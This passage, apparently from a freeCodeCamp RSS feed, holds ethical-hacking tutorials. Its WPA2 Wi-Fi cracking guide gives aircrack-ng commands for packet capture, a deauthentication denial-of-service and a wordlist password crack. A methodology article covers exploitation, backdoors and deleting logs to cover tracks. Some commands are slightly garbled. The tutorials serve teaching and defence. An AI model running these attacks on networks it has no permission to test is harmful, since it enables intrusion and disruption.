<p>Shodan has also indexed thousands of security cameras, database servers, and IoT devices. These raise serious privacy and security concerns. All these can be easily exploited if not properly secured.</p>
<p>To protect your own devices, you must understand Shodan. You need to know how it works and what it can find.</p>
<p>So, how can you prevent Shodan from exposing your devices?</p>
<p><strong>1. Change Default Credentials</strong>: Always change the default usernames and passwords on your devices.</p>
<p>2. <strong>Use Strong Passwords</strong>: Avoid weak passwords. Use a mix of letters, numbers, and symbols, and consider using a password manager.</p>
<p>3. <strong>Disable Unnecessary Services</strong>: If your device has services you don’t use, disable them. This reduces the number of potential vulnerabilities.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Shodan is a powerful tool. It’s a reminder that any device connected to the internet is potentially exposed. It offers useful insights for cybersecurity experts but also an opportunity for cybercriminals.</p>
<p>Knowing what Shodan can do should make you take cybersecurity seriously. In a world where everything is connected, your security is only as strong as your weakest device. Stay informed, stay updated, and most importantly, stay safe.</p>
<p><em>Join the</em> <a target="_blank" href="https://www.stealthsecurity.sh/"><strong><em>Stealth Security newsletter</em></strong></a> <em>for more articles on offensive and defensive cybersecurity. To learn how to build a career in Cybersecurity, check out</em> <a target="_blank" href="https://book.stealthsecurity.sh/"><strong><em>The Hacker's Handbook</em></strong></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Wi-Fi Hacking 101 – How to Hack WPA2 and Defend Against These Attacks ]]>
                </title>
                <description>
                    <![CDATA[ Welcome to the world of Wi-Fi hacking, everybody. 💻. In my previous article, we talked about some basic Linux skills and tricks. In this article you are going to learn a basic Wi-Fi hacking procedure using those skills. You'll learn things such as h... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/wi-fi-hacking-101/</link>
                <guid isPermaLink="false">66bb902ccaaeb78feb348949</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ wifi ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Tue, 18 Oct 2022 20:37:37 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/10/image-74-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Welcome to the world of Wi-Fi hacking, everybody. 💻.</p>
<p>In my <a target="_blank" href="https://www.freecodecamp.org/news/linux-basics/">previous article</a>, we talked about some basic Linux skills and tricks. In this article you are going to learn a basic Wi-Fi hacking procedure using those skills.</p>
<p>You'll learn things such as how to:</p>
<ol>
<li>Monitor Wi-Fi networks around you</li>
<li>Perform a DOS attack</li>
<li>Protect yourself against Wi-Fi attacks</li>
</ol>
<p><strong>Disclaimer: This is strictly for educational purposes only (and, of course, for a little fun). Do not under any circumstances, conditions, or influence of unwise friends use the hacks you learn here on organisations, individuals, or your probably annoying neighbour. You would be committing a crime and you'll either be fined, sent to jail, or just get your parents embarrassed.</strong></p>
<p>And now that we have that lovely introduction out of the way, let’s proceed.🙃</p>
<h2 id="heading-what-well-cover">What We'll Cover:</h2>
<p>Here's a basic rundown of what this tutorial contains:</p>
<ol>
<li>Introduction</li>
<li>What is a Packet?</li>
<li>How to Crack WPA2<ul>
<li>Prerequisites</li>
<li>How to put the network card into monitor mode</li>
<li>How to look for the target</li>
<li>How to capture the handshake packets</li>
<li>How to perform a DOS attack</li>
<li>How to obtain the password (hopefully)</li>
</ul>
</li>
<li>Mitigations Against WiFi Attacks</li>
<li>Conclusion</li>
</ol>
<h2 id="heading-introduction">Introduction</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-75.png" alt="A router" width="600" height="400" loading="lazy">
<em>A router ¦ Credit: Unsplash.com</em></p>
<p>Wireless Fidelity (Wi-Fi) is a common technology many of us use in our daily lives. Wether it's at school, home, or simply bingeing Netflix, it’s increasingly rare to see anyone carry out Internet related activities without it. </p>
<p>But have you ever tried to hack Wi-Fi? 🤔 (I’m sure you’ve been tempted 😏).</p>
<p>In order to hack something, you need to know how it works. This means you need to understand how the tech works in the first place. So let’s start from the basics: The Packet.</p>
<h2 id="heading-what-is-a-packet">What is a Packet?</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-76.png" alt="A Basic Packet" width="600" height="400" loading="lazy">
<em>A Basic Packet. Credit: ResearchGate.com</em></p>
<p>A Packet is the basic unit/building block of data in a computer network. When data is transferred from one computer to another, it is broken down and sent in packets. </p>
<p>Think of packets like Lego building blocks. You (the computer) receive the complete set (the complete data) in pieces (packets) from the seller (another computer). You will then assemble the blocks together to build up the figure based on the instructions given in order to enjoy it (or in this case, for the whole data to make sense).</p>
<p>A packet, also known as a datagram, is made up of two basic parts:</p>
<ol>
<li>A Header</li>
<li>The Payload/Data</li>
</ol>
<p>The Header contains information about the packet. This helps the network and the receiving computer know what to do with it, such as the source and destination IP addresses. </p>
<p>The Payload is the main content the packet contains. It’s also worth mentioning that packets can be encrypted so that their data can't be read if gotten by an attacker.</p>
<p>In a network, packets are a requirement for packet switching. Packet switching means breaking down data into packets and sending them to various computers using different routes. When received, the computers can then assemble these packets to make sense of it all. The Internet is the largest known packet switching network on earth.</p>
<p>Now let's see how we can apply this knowledge to wireless networks.</p>
<h2 id="heading-how-to-crack-wpa2">How to Crack WPA2</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-77.png" alt="A bunch of random code" width="600" height="400" loading="lazy">
<em>A bunch of random code. Credit: Unsplash.com</em></p>
<p>Wi-Fi can use a number of various protocols to give you a secure internet connection. From the least to most secure, they are:</p>
<ol>
<li>Open</li>
<li>WEP (Wired Equivalent Privacy)</li>
<li>WPA2 (Wi-Fi Protected Access 2)</li>
<li>WPA3 (Wi-Fi Protected Access 3)</li>
</ol>
<p>An open network is pretty much as the name implies – open. It has no password and practically anyone can connect to it. </p>
<p>WEP is an old protocol, rarely in use and requires a password like its successors.</p>
<p>WPA2 is the most commonly used protocol around the world. WPA3 is a newest and the most secure protocol known till date. But it is rarely used and only available on newer devices.</p>
<h3 id="heading-prerequisites">Prerequisites</h3>
<p>Wi-Fi works by constantly sending packets of data to your authenticated device. In order to hack it, you’ll need:</p>
<ol>
<li>A Linux machine (Preferably Kali Linux)</li>
<li>A wireless adapter</li>
</ol>
<p>To install Kali from scratch, you can follow <a target="_blank" href="https://www.freecodecamp.org/news/how-to-install-kali-linux/">this tutorial</a>. </p>
<p>If you haven’t already, you’ll need to install a tool called Aircrack-ng on your machine. To install it, just type in the command below.</p>
<pre><code>sudo apt install aircrack-ng
</code></pre><h3 id="heading-how-to-put-the-network-card-into-monitor-mode">How to Put the Network Card into Monitor Mode</h3>
<p>You first want to get information about the target. This is what hackers call reconnaissance. </p>
<p>In order to do that you need to first change your wireless card from ‘managed’ mode to ‘monitor’ mode. This will turn it from a mere network card to a wireless network reader.</p>
<p>First you need to find out the name of your wireless card. Plug in your adapter and run the <code>iwconfig</code> command to find out. It’s usually the last one on the list.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-78.png" alt="iwconfig" width="600" height="400" loading="lazy">
<em>iwconfig. Credit: Daniel Iwugo</em></p>
<p>As you can see, mine is <code>wlan1</code>. Now run the following commands:</p>
<pre><code>sudo airmon-ng check rfkillsudo
airmon-ng start &lt;network interface&gt;
</code></pre><p><code>sudo</code> indicates the need for root privileges, <code>check rfkill</code> stops processes that could hinder the card from going into monitor mode, and <code>start</code> tells airmon-ng which network card to execute on. Replace the <code>&lt;network interface&gt;</code> with the name of your wireless card.</p>
<p><code>airmon-ng</code> is a script that instantly changes your card to monitor mode. You actually can do this manually or make a script of your own but I personally prefer something rather simple.</p>
<h3 id="heading-how-to-look-for-the-target">How to Look for the Target</h3>
<p>To see what networks are around you, run the following command:</p>
<pre><code>sudo airodump-ng &lt;network interface&gt;
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-81.png" alt="Airodump" width="600" height="400" loading="lazy">
<em>Airodump. Credit: Daniel Iwugo</em></p>
<p><code>airodump-ng</code> is a part of the <code>aircrack-ng</code> suite that allows a network card to view the wireless traffic around it.</p>
<p>As you can see we get a lot of information. But let's take a quick look at the ESSID (Extended Service Set Identifier) column. Also known as the AP (Access Point) name, this column shows the name of the target network, which in my case will be ‘Asteroid’.</p>
<p>You want to concentrate on the target AP and ignore the rest. To do this, press Ctrl+C to cancel the current scan and this time, append the bssid of the network with the bssid flag as shown below.</p>
<pre><code>sudo airodump-ng &lt;network interface&gt; --bssid &lt;AP&gt;
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-82.png" alt="Airodump in action" width="600" height="400" loading="lazy">
<em>Airodump in action. Credit: Daniel Iwugo</em></p>
<p>The BSSID stands for Basic Service Set Identifier, a fancy name for the MAC address of the device. You use it to identify the device on a network, along with the ESSID (Name of the AP). Technically, you could just use the ESSID flag instead but different APs could have the same name. However, no two APs can ever have the same BSSID.</p>
<p>Below is a code snippet of what you would type to get info about the AP using the ESSID only.</p>
<pre><code>sudo airodump-ng &lt;network interface&gt; --bssid &lt;AP ESSID&gt;
</code></pre><p>Note: If the name has a space, enclose it with quotes. For example, <code>--bssid “Asteroid 1”</code> .</p>
<p>You’ll notice I highlighted the MAC address of a client connected to the AP under the ‘Station’ column. To its left is the MAC address of the AP it is connected to.</p>
<h3 id="heading-how-to-capture-the-handshake-packets">How to Capture the Handshake Packets</h3>
<p>The next step is to capture the handshake packets (Remember packets? 👀). Handshake packets are the first four packets sent from the AP when an authenticated device connects to an AP. </p>
<p>This means we have two options:</p>
<ol>
<li>Wait for a device to connect to the AP</li>
<li>De-authenticate the device and then let it connect to the AP</li>
</ol>
<p>The second one sounds a lot more fun so let’s go for it.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-83.png" alt="An LED keyboard" width="600" height="400" loading="lazy">
<em>An LED keyboard. Credit: Unsplash.com</em></p>
<h3 id="heading-how-to-perform-a-dos-attack">How to Perform a DOS Attack</h3>
<p>You can use <code>aireplay-ng</code> or <code>mdk4</code> to disconnect devices from APs for a time. This is called a de-authentication attack or a wireless DOS (Denial-Of-Service) attack.</p>
<p>Now here’s the game plan:</p>
<ol>
<li>Setup airodump-ng to capture packets and save them</li>
<li>De-authenticate the device for some time while airodump-ng is running</li>
<li>Capture the handshake</li>
</ol>
<p>Got all that? Good. Let’s roll. 👨‍💻👩‍💻</p>
<p>First, run the command to capture and save packets:</p>
<pre><code>sudo airodump-ng -c &lt;channel number&gt; --bssid &lt;AP BSSID&gt; &lt;network interface&gt; -w &lt;path for saved packets file&gt;
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-84.png" alt="Airodump capturing packets" width="600" height="400" loading="lazy">
<em>Airodump capturing packets. Credit: Daniel Iwugo</em></p>
<p>Here, we're using the <code>-c</code> flag to specify the channel to search, the <code>--bssid</code> flag for the MAC address of the AP, and the <code>-w</code> flag to give a path you want to save the captured packets to.</p>
<p>Quick lesson: Channels reduce the chances of APs interfering with each other. When running <code>airodump-ng</code>, you can identify the channel number under the CH column.</p>
<p>While that is running, you’re going to run your de-authentication attack against the device connected to it using the command:</p>
<pre><code>sudo aireplay-ng -a &lt;BSSID <span class="hljs-keyword">of</span> the AP&gt; --deauth &lt;time&gt; <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">network</span> <span class="hljs-attr">interface</span>&gt;</span></span>
</code></pre><p>The <code>-a</code> flag specifies the MAC address of the AP, <code>--deauth</code> specifies how long you want the attack to run in seconds, followed up by the network card.</p>
<p>A de-authentication attack involves using your own network card to send packets to interrupt communication between the AP and the client. It’s not perfect and sometimes the client may connect back, but only for a short time. </p>
<p>If your Wi-Fi is acting crazy and you seem to be disconnecting and connecting randomly back to it, you may be experiencing a de-authentication attack.</p>
<p>In the command above, you’re targeting the AP and running the attack. Note that you can instead attack any device connected to the AP and you should get the same result. All you need to do is to change the <code>-a</code> flag to the MAC address of any device connected.</p>
<p>While the DOS attack is underway, check on your airodump scan. You should see at the right top : <code>WPA handshake: &lt;mac address&gt;</code>. Once you have verified that, you can stop the replay attack and the <code>airodump-ng</code> scan.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-85.png" alt="Carrying out the replay attack to get the handshake" width="600" height="400" loading="lazy">
<em>Carrying out the replay attack to get the handshake. Credit: Daniel Iwugo</em></p>
<h3 id="heading-how-to-obtain-the-password-hopefully">How to Obtain the Password (Hopefully)</h3>
<p>In the final steps, you are going to run a bunch of generated Pairwise Master Keys (PMKs) against the captured packets to get the password. Let me break it down.</p>
<p>A PMK is basically an algorithmic combination of a word and the APs name. Our intention is to continuously generate PMKs using a wordlist against the handshake. If the PMK is valid, the word used to generate it is the <strong>password</strong>. If the PMK is not valid, it skips to the next word on the list.</p>
<p>I’m going to use the rockyou wordlist located in the <code>/usr/share/wordlists</code> directory. I think this is only found in Kali so if you have a different OS, you might make one of your own manually or generate one using <code>crunch</code>. </p>
<p>If it isn’t already extracted, just run the command:</p>
<pre><code>sudo gunzip /usr/share/wordlists/rockyou.txt.gz
</code></pre><p>Quick history lesson: The rockyou wordlist is a bunch of passwords gotten from one of the most infamous cybersecurity data breaches that affected a company of the same name. It contains approximately 14 million unique passwords that were used in over 32 million accounts and as such, is one of the most dependable wordlists on the planet.</p>
<p>Now run the command:</p>
<pre><code>sudo aircrack-ng &lt;captured file <span class="hljs-keyword">with</span> .cap&gt; -w &lt;path to wordlist&gt;
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-86.png" alt="Image" width="600" height="400" loading="lazy">
<em>Password cracking. Credit: Mercury</em></p>
<p>Alright, everyone – mission accomplished 😎.</p>
<p>The password was, well… ‘password’. Pretty disappointing from a security perspective, but I set this network up just for fun for the purposes of this tutorial. In reality, this could take minutes to hours depending on the length and strength of the password.</p>
<p>To clean up, simply remove the file captures, close your terminals, and run the command <code>service NetworkManager restart</code> to change your network card back to managed mode so you can connect to the Wi-Fi.</p>
<h2 id="heading-mitigations-against-wifi-attacks">Mitigations Against WiFi Attacks</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/10/image-87.png" alt="Image" width="600" height="400" loading="lazy">
<em>A basic personal workspace setup ¦ Credit: Wallpaperflare.com</em></p>
<p>Basic Wi-Fi security should cover this attack from a defensive perspective. Using WPA3 which is a newer protocol is your best bet against such an attack. To mitigate against de-authentication attacks, use an ethernet connection if possible.</p>
<p>Assuming that option is not on the table, you can use a strong passphrase (not a password) to minimise the attackers chances of getting it. A passphrase is a string of words simply used as a password. Passphrases tend to be longer than passwords, easier to remember, and are a rarer practice. Therefore, they will hardly be found in wordlists.</p>
<p>For example, ‘mercury’ is more likely to be found in a wordlist than ‘mercurylovespluto’. The later is a 15-character passphrase and as simple as it is, it would be hard for an attacker to find, guess, or generate.</p>
<p>Another mitigation would be to disable WPS (Wi-Fi Protected Setup) and avoid under any circumstance using a router that uses the WEP protocol. You’d just be asking for unwanted attention as it’s a lot easier to hack both of these than WPA2.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Let’s summarise what you’ve learned:</p>
<ol>
<li>Change the wireless adaptor to monitor mode using airmon-ng</li>
<li>Scan for the target AP using airodump-ng and capture the packets</li>
<li>Perform a DOS attack on the AP to get the handshake packets</li>
<li>End the DOS once you have verified you captured the necessary packet</li>
<li>Use aircrack-ng to generate PMKs to run against the handshake packets</li>
</ol>
<p>Sometimes, the password may not be in the wordlist. In that case, there are many other ways to get the password such as an Evil Twin Attack or variations of what you have learned here. I also encourage you to practice this and many other attacks you discover out there, as this helps make you a master hacker.</p>
<p>Remember, this is <strong>strictly for educational purposes</strong>. Only perform this on others with their consent, or on your own devices.</p>
<p>And with that, we have come to the end of this article. Hope you enjoyed it. And as I always say, Happy hacking! 🙃</p>
<h3 id="heading-resources">Resources</h3>
<ol>
<li><a target="_blank" href="https://www.javatpoint.com/handshake-theory">A little more explanation on the handshake theory</a></li>
<li><a target="_blank" href="https://www.cloudflare.com/learning/network-layer/what-is-a-packet/">More details on packets</a></li>
<li><a target="_blank" href="https://www.diffen.com/difference/WPA2_vs_WPA3">WPA2 vs WPA3</a></li>
</ol>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Thanks to <a target="_blank" href="https://twitter.com/Anuoluwap__o?t=4Cv6VR2c2_wK5HLXwbvXCQ&amp;s=09">Anuoluwapo Victor</a>, <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/favour-ojo-906883199/">Favour Ojo</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support and knowledge used to put this post together. You’re my unsung heroes.</p>
<p>Cover photo credit: Lego Gentlemen working on a router from Wallpaperflare.com</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is Hacking? The Hacker Methodology Explained ]]>
                </title>
                <description>
                    <![CDATA[ Time to learn the basics of the splendid art of hacking 👨‍💻👩‍💻.  In this article, you will learn what the hacking process really looks like. And hopefully one day, you'll get to say those famous words: “I’m in”. Disclaimer: This is for educationa... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/what-is-hacking/</link>
                <guid isPermaLink="false">66bb90240eaca026d8cfa5de</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Thu, 22 Sep 2022 15:21:49 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/hacker-methodology-image.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Time to learn the basics of the splendid art of hacking 👨‍💻👩‍💻. </p>
<p>In this article, you will learn what the hacking process really looks like. And hopefully one day, you'll get to say those famous words: “I’m in”.</p>
<p><strong>Disclaimer: This is for educational purposes only.</strong> Please (with a cherry on top), do not use this knowledge to perform illegal activities. I might be one of the white hats to put you in jail someday 🙃. Thank you.</p>
<h2 id="heading-how-do-hackers-hack">How do Hackers Hack?</h2>
<p><img src="https://miro.medium.com/max/1050/1*jHEa9VlHhb1cRF0szm_HRw.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Tony Stark attempting to hack S.H.E.I.L.D | Credit: animatedtimes.com</em></p>
<p>Since you are reading this article, I’ll assume that you already know the basics of what hacking is, so let's jump right in. </p>
<p>There really is no general agreed upon process of hacking, in part because there are a few different <a target="_blank" href="https://www.freecodecamp.org/news/white-hat-black-hat-red-hat-hackers/">types of hackers</a>. But, I will tell you the steps the majority of hackers (and I myself) follow. </p>
<p>They are:</p>
<ol>
<li>Reconnaissance</li>
<li>Enumeration</li>
<li>Exploitation</li>
<li>Privilege Escalation</li>
<li>Post Exploitation</li>
<li>Covering Tracks</li>
<li>Report Writing</li>
</ol>
<p>We'll go through each one in detail so you get a good feel for the process.</p>
<p>If you want to dive deeper and learn more about what white hat (ethical) hackers do, <a target="_blank" href="https://www.freecodecamp.org/news/linux-essentials-for-hackers/">check out this course</a>.</p>
<h2 id="heading-reconnaissance">Reconnaissance</h2>
<p><img src="https://miro.medium.com/max/1050/1*r4786dLhJKeD4X9Eh-tqdg.jpeg" alt="A neon themed hollywood hacker" width="600" height="400" loading="lazy">
<em>A neon themed hollywood hacker | Credit: Wallpaperflare.com</em></p>
<p>Recon (aka footprinting) is the first, longest, and most important step. This entails getting as much information as you can about the target without interacting directly with the target. </p>
<p>Basic OSINT (Open Source Intelligence) skills are a hacker's best friend here.</p>
<p>Quick lesson: OSINT is the collection and analysis of information from public sources in order to gain actionable intelligence. National security agencies, investigative journalists, and hackers legally gather such information in order to create measures, stories, and dossiers, respectively, about targets. </p>
<p>You can find the OSINT framework guide <a target="_blank" href="https://osintframework.com/">here</a>.</p>
<p>The greatest resource for recon is the Internet, and the greatest tool is the search engine, Google. To make this a lot easier, <a target="_blank" href="https://www.techopedia.com/definition/30938/google-dorking">Google dorking</a> would be a good place to start. Dorking in this sense means the use of advanced search techniques to find out more information about a target that you normally wouldn’t be able to find using normal methods.</p>
<p>Other resources for recon include:</p>
<ol>
<li>Wikipedia (The biggest encyclopedia to this date)</li>
<li>Social Media such as Instagram, Twitter, and Facebook (Best resource for social engineers)</li>
<li>who.is (To get information about a website)</li>
<li>sublist3r (Lists subdomains publicly available)</li>
<li>Media such as newspapers, radio, and television</li>
</ol>
<h2 id="heading-enumeration">Enumeration</h2>
<p><img src="https://miro.medium.com/max/1050/1*XbORSf1nFpWBKEu285-Azg.jpeg" alt="Magnifying glass over binary ID fingerprint" width="600" height="400" loading="lazy">
<em>Magnifying glass over binary ID fingerprint | Credit: Wallpaperflare.com</em></p>
<p>This is like reconnaissance, except you gain information about the target by interacting with it for the purpose of looking for a vulnerability. </p>
<p>Do note, though, that things can get a lot riskier as the target could discover that you are trying to find out information about them, and could put countermeasures in place to hinder you.</p>
<p>Network enumeration involves port scanning and network mapping. This helps you learn about the target’s operating system, open ports, and services being run, along with their version. Nmap (network mapper), burp suite, and exploit-db/searchsploit are common tools you can use for network enumeration.</p>
<p>Tip: Knowing the version of services is a great way to find a vulnerability. Old versions of software may have a known vulnerability which could be on the exploit-db site. You could then use this to perform an exploit.</p>
<p>Physical enumeration involves gaining information through physical means. This could be done via dumpster diving (getting credentials and confidential information from the trash) and <a target="_blank" href="https://www.freecodecamp.org/news/social-engineering-the-art-of-hacking-humans/">social engineering</a>. </p>
<p>Social engineering is quite a broad topic and will get an article of its own later. However, in simple terms, it means hacking humans using manipulative social skills.</p>
<h2 id="heading-exploitation">Exploitation</h2>
<p><img src="https://miro.medium.com/max/1050/1*mJMn9jW6b0S4-EhX1fnk2g.jpeg" alt="A fake terminal access" width="600" height="400" loading="lazy">
<em>A fake terminal access | Credit: Wallpaperflare.com</em></p>
<p>Exploitation involves gaining access to the target successfully using a vulnerability discovered during enumeration. </p>
<p>A common technique for exploitation is to deliver a payload after taking advantage of the vulnerability. In simple terms, this is finding a hole in the target, and then running code or software that lets you manipulate the system, such as a bash shell.</p>
<p>Infamous vulnerabilities that are commonly exploited are EternalBlue (Windows) and the Apache log4j (web servers) vulnerabilities.</p>
<p>Common tools you can use for exploitation include:</p>
<ol>
<li>Metasploit (The big gun 🔫)</li>
<li>Burpsuite (For web applications)</li>
<li>Sqlmap (For databases)</li>
<li>Msfvenom (Used to create custom payloads)</li>
</ol>
<p>Quick lesson: A payload is software run after a vulnerability has been exploited. Once exploited, the target computer doesn’t have anything to give you access with. And so you need a payload to give you access and allow you to manipulate the target. </p>
<p>A very common payload many hackers use is meterpreter. It is a payload by metasploit that allows you to easily transverse the hacked computer.</p>
<h2 id="heading-privilege-escalation">Privilege Escalation</h2>
<p><img src="https://miro.medium.com/max/1050/1*dga9Ef2bvTg0BtG5_u5VxA.jpeg" alt="Random Text with “Administrator”" width="600" height="400" loading="lazy">
<em>Random Text with “Administrator” | Credit: Wallpaperflare.com</em></p>
<p>In order to understand privilege escalation, you need to grasp two concepts:</p>
<ol>
<li>User Accounts</li>
<li>Privileges</li>
</ol>
<p>A User Account is a profile on a computer or network that contains information that's accessed via a username and password. </p>
<p>There are two kinds of user accounts: Administrator account and Standard account. Home computer users usually only have one user account, which is the administrator. In contrast, organisations have multiple accounts on a network or computer, with a system administrator having the administrator account and the basic employees having various standard accounts.</p>
<p>Privileges are the permissions that let you write, read and execute files and applications. A standard user doesn’t have privileges (permissions) to critical files and applications which we want. However, an administrative account will have privileges for everything.</p>
<p>Escalation is the movement from one user account to another. This could either be vertical or horizontal. </p>
<p>Vertical escalation is when a hacker moves from an account with fewer privileges (standard account) to an account with more privileges (administrative account).</p>
<p>Horizontal escalation is when a hacker moves from one user account to a similar account of the same privilege level in hopes of performing vertical escalation with the new compromised account (standard account to standard account).</p>
<p>The administrative user accounts you would want to target are root (Linux) or Administrator/System (Windows). These accounts have <strong>all</strong> the privileges and are practically a goldmine if you get access to them, as you can take absolute control of the computer.</p>
<p>Techniques to perform privilege escalation include:</p>
<ol>
<li>Password spraying (Reusing passwords)</li>
<li>Cracking password hashes (Finding passwords of other users)</li>
<li>Finding ssh keys (Used for horizontal escalation)</li>
<li>Abusing SUID binaries (Taking advantage of misconfigured privileges in Linux)</li>
<li>Running tools scripts to look for escalation routes (<a target="_blank" href="https://www.kali.org/tools/enum4linux/">enum4linux</a> is nice and <a target="_blank" href="https://github.com/carlospolop/PEASS-ng">PEASS-ng</a> has a great suite)</li>
</ol>
<h2 id="heading-post-exploitation">Post-Exploitation</h2>
<p><img src="https://miro.medium.com/max/1050/1*qidw-Mivgag6dqiyU2-y9g.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Code with text “malicious virus” | Credit: Wallpaperflare.com</em></p>
<p>Usually, white hats skip over to the very last step. But I will include this and the next for the sake of knowledge. </p>
<p>Post exploitation is the use of tools with the aim of gaining persistence and obtaining sensitive information from the target computer.</p>
<p>This could be done in a number of ways including:</p>
<ol>
<li>Installing a permanent backdoor, listener, or rootkit</li>
<li>Installing malware such as viruses and trojans</li>
<li>Downloading intellectual property, sensitive information, and Personal Identifiable Information (PII)</li>
</ol>
<h2 id="heading-covering-tracks">Covering Tracks</h2>
<p><img src="https://miro.medium.com/max/1050/1*be1OfXU8MoaoqvhM_X6ecw.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>An Anonymous themed background | Credit: Wallpaperflare.com</em></p>
<p>This is as simple as it gets, but can be incriminating if there is even a slight mistake. A malicious hacker has to be careful to not leave behind files, scripts, or anything that can be used by a digital forensics expert to track the hacking back to them. </p>
<p>Some basic things to do would be to delete log files and the history file in Linux. The meterpreter payload even has a feature to delete all logs on the Windows Event Manager.</p>
<h2 id="heading-reporting">Reporting</h2>
<p><img src="https://miro.medium.com/max/1050/1*kpf_vAmFagqzk5nevBwgUg.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Digital report writing | Credit: Wallpaperflare.com</em></p>
<p>This is the final step of the hacker methodology. It involves writing down a basic rundown of the entire process you went through above. </p>
<p>There are various formats, but a basic one will include:</p>
<ol>
<li>Vulnerabilities found and their risk level</li>
<li>A brief description of how the vulnerabilities were discovered</li>
<li>Recommendations on how to remediate the vulnerabilities</li>
</ol>
<p>Tip: Note taking when hacking is very important. I personally learned this the hard way when doing CTFs (Capture The Flag). </p>
<p>Not only does it make it easier when writing reports, but they also allow you to avoid repeating failed attempts and sort through information easily. They also let you look back on what you’ve done later on. Taking screenshots is also a great idea<em>.</em></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Alright so let's do a quick recap of the hacker methodology:</p>
<ol>
<li>Reconnaissance</li>
<li>Enumeration</li>
<li>Exploitation</li>
<li>Privilege Escalation</li>
<li>Post-Exploitation</li>
<li>Covering Tracks</li>
<li>Report Writing</li>
</ol>
<h3 id="heading-resources-to-help-you-practice">Resources to help you practice:</h3>
<ol>
<li><a target="_blank" href="https://tryhackme.com/room/hackermethodology">Test your knowledge</a> on the hacker methodology</li>
<li>Tips on <a target="_blank" href="https://www.cybervie.com/blog/hackers-methodology-cyber-security/">how to protect yourself from hackers</a></li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Open-source_intelligence">More information about OSINT</a></li>
</ol>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Thanks to <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support, and knowledge used put this post together. You guys are the best.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What are White Hat, Black Hat, and Red Hat Hackers? Different Types of Hacking Explained ]]>
                </title>
                <description>
                    <![CDATA[ Welcome to the movies, everyone! 🍿 Have you ever heard the term white hat or black hat hacker, and wondered what it means? Well, in this article, you will learn how hackers are classified by comparing them to a Marvel or DC hero that more or less re... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/white-hat-black-hat-red-hat-hackers/</link>
                <guid isPermaLink="false">66bb902ad2bda3e4315491cf</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Fri, 16 Sep 2022 17:07:40 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/09/hacking-hats.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Welcome to the movies, everyone! 🍿 Have you ever heard the term white hat or black hat hacker, and wondered what it means?</p>
<p>Well, in this article, you will learn how hackers are classified by comparing them to a Marvel or DC hero that more or less represents them and what they do.</p>
<h2 id="heading-what-is-a-hacker">What is a Hacker?</h2>
